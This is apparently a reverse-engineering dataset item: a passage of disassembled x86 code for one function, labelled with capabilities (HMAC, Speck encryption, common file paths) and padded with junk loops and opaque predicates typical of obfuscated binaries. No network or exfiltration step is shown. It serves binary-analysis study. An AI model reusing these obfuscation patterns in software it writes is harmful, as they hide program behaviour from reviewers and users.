Function at 0x10032bae
Capabilities:
Authenticate hmac
Encrypt data using speck
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063123
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x7d0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10035f3a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x448], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x440], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x350], 0x6113
mov dword [ebp - 0x420], str.qwu_upjdmucyz_vubqaa_guneookel_qlpfcw_iiwr_gbejeh
cmp dword [ebp - 0x350], 0x630b
jle 0x10032cd0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
and dword [ebp - 0x120], 0
jmp 0x10032c40
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x6dd7
jge 0x10032cd0
and dword [ebp - 0x1c0], 0
jmp 0x10032c66
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x5cab
jge 0x10032ccb
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x1c0]
sar eax, cl
cdq
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], edx
push dword [ebp - 0x450]
push dword [ebp - 0x454]
lea ecx, [ebp - 0x78c]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x4c4], eax
mov ecx, dword [ebp - 0x4c4]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x78c]
call fcn.10001bac
jmp 0x10032c59
jmp 0x10032c33
mov eax, dword [ebp - 0x438]
movzx eax, byte [eax]
test eax, eax
je 0x10035eeb
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x1c8], 0
jmp 0x10032d19
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
jge 0x10032d35
mov eax, dword [ebp - 0x1c8]
mov dword [ebp + eax*4 - 0x590], 0xd1ad67a4
jmp 0x10032d0c
mov dword [ebp - 0x1c], 0
jmp 0x10032d45
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jg 0x10032fe0
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x538], 0xfffffff6
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x3c], 0xf
jmp 0x10032d7a
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x16
jne 0x10032fdb
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x5d0], 0xe764939e
mov dword [ebp - 0x5cc], 0xe764939e
mov dword [ebp - 0x5c8], 0xe764939e
mov dword [ebp - 0x5c4], 0xe764939e
cmp dword [ebp - 0x1c], 7
jle 0x10032dc8
mov dword [ebp - 0x324], 1
jmp 0x10032dcf
and dword [ebp - 0x324], 0
cmp dword [ebp - 0x3c], 0
jne 0x10032de2
xor eax, eax
jne 0x10032de2
and dword [ebp - 0x2b8], 0
jmp 0x10032dec
mov dword [ebp - 0x2b8], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x2b8], eax
je 0x10032e03
mov dword [ebp - 0x360], 1
jmp 0x10032e0a
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x360], eax
jge 0x10032e21
mov dword [ebp - 0x368], 1
jmp 0x10032e28
and dword [ebp - 0x368], 0
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x368]
jg 0x10032e45
mov dword [ebp - 0x37c], 1
jmp 0x10032e4c
and dword [ebp - 0x37c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x37c]
mov dword [ebp + eax - 0x5d0], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x324], eax
jle 0x10032e76
mov dword [ebp - 0x358], 1
jmp 0x10032e7d
and dword [ebp - 0x358], 0
cmp dword [ebp - 0x358], 0x66e5dc64
jg 0x10032e95
mov dword [ebp - 0x214], 1
jmp 0x10032e9c
and dword [ebp - 0x214], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x214], eax
jl 0x10032eb3
mov dword [ebp - 0x2cc], 1
jmp 0x10032eba
and dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x2cc], eax
jg 0x10032ed1
mov dword [ebp - 0x21c], 1
jmp 0x10032ed8
and dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x538]
add eax, dword [ebp - 0x21c]
cmp eax, 1
jge 0x10032ef5
mov dword [ebp - 0x354], 1
jmp 0x10032efc
and dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x1dc]
imul eax, dword [ebp - 0x354]
imul eax, dword [ebp - 0x3c]
add eax, 0xe40
jne 0x10032f26
mov eax, 0xfc75
test eax, eax
jne 0x10032f26
and dword [ebp - 0x224], 0
jmp 0x10032f30
mov dword [ebp - 0x224], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x590]
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x39c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x590]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x590], eax
mov eax, dword [ebp - 0x514]
cmp eax, dword [ebp - 0x39c]
jle 0x10032f84
mov dword [ebp - 0x2d4], 1
jmp 0x10032f8b
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x1dc]
cmp dword [ebp - 0x2d4], eax
jne 0x10032fa5
mov dword [ebp - 0x22c], 1
jmp 0x10032fac
and dword [ebp - 0x22c], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x22c], eax
jne 0x10032fc3
mov dword [ebp - 0x32c], 1
jmp 0x10032fca
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x430], eax
jmp 0x10032d73
jmp 0x10032d3e
mov dword [ebp - 0x20], 0xae97
mov dword [ebp - 0x158], 0
jmp 0x10033000
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jge 0x1003301c
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x1d8], 0xfffffff9
jmp 0x10032ff3
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0
jmp 0x10033033
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jg 0x1003323c
mov dword [ebp - 0xb8], 0
jmp 0x10033056
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 2
jge 0x10033072
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x1d0], 1
jmp 0x10033049
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1d0], 0
jmp 0x100330a0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1d0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1d0], 1
jg 0x10033237
mov dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x1d8], 0
jne 0x10033130
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
cmp dword [ebp + eax*4 - 0x1d8], 0x3e75cb55
jle 0x100330f1
mov dword [ebp - 0x234], 1
jmp 0x100330f8
and dword [ebp - 0x234], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
mov eax, dword [ebp + eax*4 - 0x1d8]
cmp dword [ebp - 0x234], eax
jle 0x10033130
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1d8], 0
je 0x10033130
mov dword [ebp - 0x2dc], 1
jmp 0x10033137
and dword [ebp - 0x2dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
mov eax, dword [ebp + eax*4 - 0x1d8]
cmp eax, dword [ebp - 0x2dc]
jle 0x1003315f
mov dword [ebp - 0x23c], 1
jmp 0x10033166
and dword [ebp - 0x23c], 0
cmp dword [ebp - 0x23c], 0xffffffff
jl 0x1003317b
mov dword [ebp - 0x36c], 1
jmp 0x10033182
and dword [ebp - 0x36c], 0
cmp dword [ebp - 0x36c], 1
jl 0x10033197
mov dword [ebp - 0x470], 1
jmp 0x1003319e
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x20]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1d8]
cmp ecx, dword [ebp + eax*4 - 0x1d8]
je 0x100331cc
mov dword [ebp - 0x244], 1
jmp 0x100331d3
and dword [ebp - 0x244], 0
mov eax, dword [ebp - 0x3a4]
cmp dword [ebp - 0x244], eax
jg 0x100331ed
mov dword [ebp - 0x2e4], 1
jmp 0x100331f4
and dword [ebp - 0x2e4], 0
imul eax, dword [ebp - 0x2e4], 0x276b
cmp eax, 0x3d5943e2
jg 0x10033211
mov dword [ebp - 0x24c], 1
jmp 0x10033218
and dword [ebp - 0x24c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x1d8], ecx
jmp 0x10033085
jmp 0x1003302c
mov eax, dword [0x100e1a7c]
and eax, 1
jne 0x10033270
mov eax, dword [0x100e1a7c]
or eax, 1
mov dword [0x100e1a7c], eax
and dword [ebp - 4], 0
mov ecx, 0x100e1abc
call fcn.100146bd
push 0x10063574
call fcn.1004b2ac
pop ecx
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0x584]
call fcn.100144f0
mov dword [ebp - 4], 1
mov dword [ebp - 0x334], 0x7d97
mov dword [ebp - 0x520], str.axgwygus_rwd_mtqdtt_gsr_tax_bjivckgtg_ovqotkwrm_lmy_gywoekz_rhrx_chcqpgl_jfhnnzimi
cmp dword [ebp - 0x334], 0x7e09
jle 0x10033387
and dword [ebp - 0x160], 0
jmp 0x100332c2
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x1006
jge 0x10033387
and dword [ebp - 0xc8], 0
jmp 0x100332e8
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x532
jge 0x10033382
and dword [ebp - 0x1ac], 0
jmp 0x1003330e
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x5f98
jge 0x1003337d
and dword [ebp - 0xc0], 0
jmp 0x10033330
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x2616
jge 0x1003337b
mov ecx, dword [ebp - 0x1ac]
add ecx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x160]
sub eax, dword [ebp - 0xc8]
sar eax, cl
cdq
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], edx
push dword [ebp - 0x45c]
push dword [ebp - 0x460]
mov ecx, 0x1007d9f8
call fcn.10001bd6
jmp 0x10033323
jmp 0x10033301
jmp 0x100332db
jmp 0x100332b5
lea eax, [ebp - 0x5fc]
push eax
lea ecx, [ebp - 0x584]
call fcn.10014c44
push dword [eax]
lea eax, [ebp - 0x640]
push eax
lea ecx, [ebp - 0x584]
call fcn.10014c58
push dword [eax]
lea eax, [ebp - 0x604]
push eax
lea ecx, [ebp - 0x584]
call fcn.10014c44
push dword [eax]
mov edx, 0x1002d4fb
lea ecx, [ebp - 0x660]
call fcn.10041296
add esp, 0xc
mov byte [ebp - 4], 2
cmp dword [ebp - 0x334], 0x7d7a
jge 0x100333f6
mov edx, dword [ebp - 0x520]
mov ecx, 0x1007d9f8
call fcn.1000358d
jmp 0x10033412
mov dword [ebp - 4], 1
jmp 0x10033422
lea ecx, [ebp - 0x584]
call fcn.1002d486
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x550], 0xffffffff
mov dword [ebp - 0x54c], 0xffffffff
mov dword [ebp - 0x548], 0xffffffff
mov dword [ebp - 0x544], 0xffffffff
mov dword [ebp - 0x1fc], 9
mov dword [ebp - 0x204], 0x43c6fe23
mov dword [ebp - 0x264], 0xfffffff7
mov dword [ebp - 0x1ec], 0xee49
mov dword [ebp - 0x50c], 0xfa8fad74
mov dword [ebp - 0x488], 0x4549
mov dword [ebp - 0x18c], 0
jmp 0x100334b0
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 2
jge 0x100334cc
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x46c], 0xffffffff
jmp 0x100334a3
xor eax, eax
inc eax
je 0x1003350c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x550]
mov dword [ebp - 0x254], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x254]
mov dword [ebp + eax - 0x550], ecx
cmp dword [ebp - 0x254], 0
je 0x1003350c
mov dword [ebp - 0x2ec], 1
jmp 0x10033513
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x1fc]
cmp dword [ebp - 0x2ec], eax
jl 0x1003352d
mov dword [ebp - 0x35c], 1
jmp 0x10033534
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x3ac], 0xd6b65720
jb 0x10033565
mov dword [ebp - 0x47c], 1
jmp 0x1003356c
and dword [ebp - 0x47c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x204]
cmp ecx, dword [ebp + eax - 0x46c]
jg 0x1003358d
mov dword [ebp - 0x25c], 1
jmp 0x10033594
and dword [ebp - 0x25c], 0
cmp dword [ebp - 0x25c], 0xdd93
je 0x100335ac
mov dword [ebp - 0x1f4], 1
jmp 0x100335b3
and dword [ebp - 0x1f4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp + eax - 0x46c], ecx
mov eax, dword [ebp - 0x204]
cmp dword [ebp - 0x1f4], eax
jne 0x100335e0
mov dword [ebp - 0x3b4], 1
jmp 0x100335e7
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x60c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x46c]
mov dword [ebp - 0x264], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x648], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x550]
cmp eax, dword [ebp - 0x204]
jle 0x100336ad
mov byte [ebp - 0x41], 0
movzx eax, byte [ebp - 0x41]
test eax, eax
je 0x10033675
push 0x5612
push 0x755a
push 1
push 0x3209
push 0x3ac9
push 0x40c8
push 0x795
push 1
push 1
push 0x64a3
push 0x17f
call fcn.1002d759
add esp, 0x2c
push 0x48fd
push 0x4345
push 0
push 0x5ce7
push 0x3189
push 1
push 0x4659
push 1
push 0x693f
push 0x106f
push 0x6dbf
call fcn.100360f0
add esp, 0x2c
jmp 0x100336c9
mov dword [ebp - 0x3bc], 0x43747c91
mov eax, dword [ebp - 0x50c]
sub eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x488], eax
movzx eax, byte [0x100e05f0]
test eax, eax
je 0x10034757
mov ecx, 0x100e1abc
call fcn.10040ffb
movzx eax, al
test eax, eax
jne 0x10034757
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x64], 0x417be18
mov dword [ebp - 0x2f4], 0x4f3c
mov dword [ebp - 0x3c4], str.poibticf_awcqclgu_kil_qbszdy
cmp dword [ebp - 0x2f4], 0x5068
jle 0x100337cb
and dword [ebp - 0xd0], 0
jmp 0x10033738
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xcbe
jge 0x100337cb
and dword [ebp - 0x168], 0
jmp 0x1003375e
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x62f0
jge 0x100337c6
and dword [ebp - 0xd8], 0
jmp 0x10033780
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x363d
jge 0x100337c4
mov eax, dword [ebp - 0xd0]
imul eax, dword [ebp - 0x168]
or eax, dword [ebp - 0xd8]
cdq
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], edx
push dword [ebp - 0x474]
push dword [ebp - 0x478]
mov ecx, 0x1007d9f8
call fcn.10001bd6
jmp 0x10033773
jmp 0x10033751
jmp 0x1003372b
mov dword [ebp - 0x28], 0
jmp 0x100337db
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x100337f1
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x6dc], 0xe45d764c
jmp 0x100337d4
mov byte [ebp - 4], 4
cmp dword [ebp - 0x2f4], 0x4d2f
jge 0x10033811
mov edx, dword [ebp - 0x3c4]
mov ecx, 0x1007d9f8
call fcn.1000358d
jmp 0x1003382d
mov dword [ebp - 4], 1
jmp 0x1003383d
mov dword [ebp - 0x28], 0
jmp 0x1003384d
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x10033863
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x618], 1
jmp 0x10033846
mov dword [ebp - 0x64], 0xffffffff
mov eax, dword [ebp - 0x26c]
cmp eax, dword [ebp - 0x64]
jge 0x10033882
cmp dword [ebp - 0x26c], 0
jne 0x10033c03
mov dword [ebp - 0x40], 0xffff
mov dword [ebp - 0x3dc], 0xbed162c5
mov dword [ebp - 0x5f0], 0xa0cd95f
mov dword [ebp - 0x380], 7
mov dword [ebp - 0x27c], 0xee72c34c
mov dword [ebp - 0x530], 0xc9fe9a5a
mov dword [ebp - 0x1f8], 0x45ad33d2
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x33c], 0x691
mov dword [ebp - 0x3cc], str.khia_rafoomazh_mrfmnkhrd_oyeullylo_vvqjdw_znbdeaku_oyz_hkshdn_uzqcmhc_dmyb_inxhdxnod
cmp dword [ebp - 0x33c], 0x7e3
jle 0x100339c8
and dword [ebp - 0x190], 0
jmp 0x10033909
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0xe4c
jge 0x100339c8
and dword [ebp - 0xe0], 0
jmp 0x1003392f
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x2788
jge 0x100339c3
and dword [ebp - 0x170], 0
jmp 0x10033955
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x5b3d
jge 0x100339be
mov eax, dword [ebp - 0x190]
add eax, dword [ebp - 0xe0]
xor eax, dword [ebp - 0x170]
cdq
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x480], edx
push dword [ebp - 0x480]
push dword [ebp - 0x484]
lea ecx, [ebp - 0x7bc]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x528], eax
mov ecx, dword [ebp - 0x528]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x7bc]
call fcn.10001bac
jmp 0x10033948
jmp 0x10033922
jmp 0x100338fc
mov byte [ebp - 4], 6
cmp dword [ebp - 0x33c], 0x4f4
jge 0x100339e4
push dword [ebp - 0x3cc]
call fcn.1004b2d6
pop ecx
jmp 0x10033a00
mov dword [ebp - 4], 1
jmp 0x10033a10
mov dword [ebp - 0xe8], 0
jmp 0x10033a29
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 3
jge 0x10033a45
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0x694], 0xfffffff7
jmp 0x10033a1c
push 0x131b
lea eax, [ebp - 0x40]
push eax
push 1
lea eax, [ebp - 0x64]
push eax
push 0x1b69
push 0x468c
push 0
push 0x713f
push 0x651b
call fcn.10030e20
add esp, 0x24
mov dword [ebp - 0x40], 0
jmp 0x10033a82
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x23
jge 0x10033c01
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x620], 0x98b94be3
mov dword [ebp - 0x3d4], 0
mov dword [ebp - 0x650], 0x70cc321a
cmp dword [ebp - 0x494], 0
je 0x10033b7d
cmp dword [ebp - 0x64], 0
jne 0x10033ad3
mov dword [ebp - 0x304], 1
jmp 0x10033ada
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 0x200]
dec eax
mov dword [ebp - 0x200], eax
jne 0x10033af5
mov dword [ebp - 0x274], 1
jmp 0x10033afc
and dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x274], 1
je 0x10033b1a
mov dword [ebp - 0x2fc], 1
jmp 0x10033b21
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x27c]
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x380]
cmp eax, dword [ebp - 0x3d4]
jle 0x10033b56
mov dword [ebp - 0x284], 1
jmp 0x10033b5d
and dword [ebp - 0x284], 0
mov eax, dword [ebp - 0x1f8]
add eax, dword [ebp - 0x284]
add eax, dword [ebp - 0x304]
je 0x10033b7d
mov dword [ebp - 0x28c], 1
jmp 0x10033b84
and dword [ebp - 0x28c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x694]
cmp dword [ebp - 0x28c], eax
jl 0x10033ba4
mov dword [ebp - 0x344], 1
jmp 0x10033bab
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x530]
imul eax, dword [ebp - 0x344]
imul eax, dword [ebp - 0x64]
sub eax, dword [ebp - 0x1f8]
cmp eax, dword [ebp - 0x3dc]
jg 0x10033bd6
mov dword [ebp - 0x1e8], 1
jmp 0x10033bdd
and dword [ebp - 0x1e8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp + eax - 0x6dc], ecx
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1f8], eax
jmp 0x10033a7b
jmp 0x10033c1e
push 0x4cd8
push 1
push 0x33cc
push 0x7eba
push 1
call fcn.10030f4f
add esp, 0x14
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x238]
push eax
mov ecx, 0x100e1abc
call fcn.10014782
mov dword [ebp - 0x560], 6
mov dword [ebp - 0x55c], 6
mov dword [ebp - 0x558], 6
mov dword [ebp - 0x554], 6
mov dword [ebp - 0x54], 0xf34fda0e
mov dword [ebp - 0x394], 0x59f451db
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0xac], 0xfffffff7
mov dword [ebp - 0x3fc], 0xfffffffc
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x198], 0
jmp 0x10033cb0
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 3
jge 0x10033ccc
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x56c], 0x5bc98072
jmp 0x10033ca3
mov dword [ebp - 0x54], 0
jmp 0x10033cdc
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jg 0x100344fc
mov dword [ebp - 0x6c], 0x6942a1e9
mov dword [ebp - 0x4b8], 0x9a54e587
mov dword [ebp - 0x1e0], 0xef23e469
mov dword [ebp - 0x404], 0x42b4
mov dword [ebp - 0x534], 1
mov dword [ebp - 0xf0], 0
jmp 0x10033d2e
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jge 0x10033d4a
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x1b8], 0xffffffff
jmp 0x10033d21
mov dword [ebp - 0x6c], 0
jmp 0x10033d5a
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jg 0x100343ff
mov dword [ebp - 0x51c], 4
mov dword [ebp - 0x2bc], 0xb7c39c9d
mov dword [ebp - 0x3f4], 8
mov dword [ebp - 0x668], 0xefe0c237
mov dword [ebp - 0x294], 0x843
mov dword [ebp - 0x3e4], str.dtzif_crx_nst_ohxnxatls_fawwwxjf_tlrgqn_kuo_cjjg_ppyj_dmrgve_rupobdlc_ewtd_tzqxc
cmp dword [ebp - 0x294], 0xb83
jle 0x10033eb9
and dword [ebp - 0x100], 0
jmp 0x10033dc6
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x69df
jge 0x10033eb9
and dword [ebp - 0x178], 0
jmp 0x10033dec
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x9af
jge 0x10033eb4
and dword [ebp - 0xf8], 0
jmp 0x10033e12
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x72db
jge 0x10033eaf
and dword [ebp - 0x1a0], 0
jmp 0x10033e38
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x45b1
jge 0x10033eaa
mov eax, dword [ebp - 0x178]
cdq
idiv dword [ebp - 0xf8]
sub edx, dword [ebp - 0x1a0]
or edx, dword [ebp - 0x100]
mov eax, edx
cdq
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], edx
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
lea ecx, [ebp - 0x7e0]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x4a0], eax
mov ecx, dword [ebp - 0x4a0]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x7e0]
call fcn.10001bac
jmp 0x10033e2b
jmp 0x10033e05
jmp 0x10033ddf
jmp 0x10033db9
mov byte [ebp - 4], 8
cmp dword [ebp - 0x294], 0x5f1
jge 0x10033ed5
push dword [ebp - 0x3e4]
call fcn.1004b2d6
pop ecx
jmp 0x10033ef1
mov dword [ebp - 4], 1
jmp 0x10033f01
mov dword [ebp - 0x30c], 0x8b8
mov dword [ebp - 0x53c], str.ofwb_fexhqswej_karmpwq_elzrxj_vuql_khoennn_psqlobwv_psms_pxgoohg_heapqe_ypyomm_qwkvjmqd
cmp dword [ebp - 0x30c], 0xbd4
jle 0x10034000
and dword [ebp - 0x180], 0
jmp 0x10033f3b
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x591a
jge 0x10034000
and dword [ebp - 0x108], 0
jmp 0x10033f61
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x3fc6
jge 0x10033ffb
and dword [ebp - 0x1a8], 0
jmp 0x10033f87
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x4de6
jge 0x10033ff6
and dword [ebp - 0x110], 0
jmp 0x10033fa9
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x628e
jge 0x10033ff4
mov eax, dword [ebp - 0x180]
sub eax, dword [ebp - 0x108]
add eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x110]
shl eax, cl
cdq
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], edx
push dword [ebp - 0x498]
push dword [ebp - 0x49c]
mov ecx, 0x1007d9f8
call fcn.10001bd6
jmp 0x10033f9c
jmp 0x10033f7a
jmp 0x10033f54
jmp 0x10033f2e
mov dword [ebp - 0x5b0], 0x28e
mov dword [ebp - 0x5ac], 0x28e
mov dword [ebp - 0x5a8], 0x28e
mov dword [ebp - 0x5a4], 0x28e
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x30c], 0x7bd
jge 0x10034048
mov edx, dword [ebp - 0x53c]
mov ecx, 0x1007d9f8
call fcn.1000358d
jmp 0x10034064
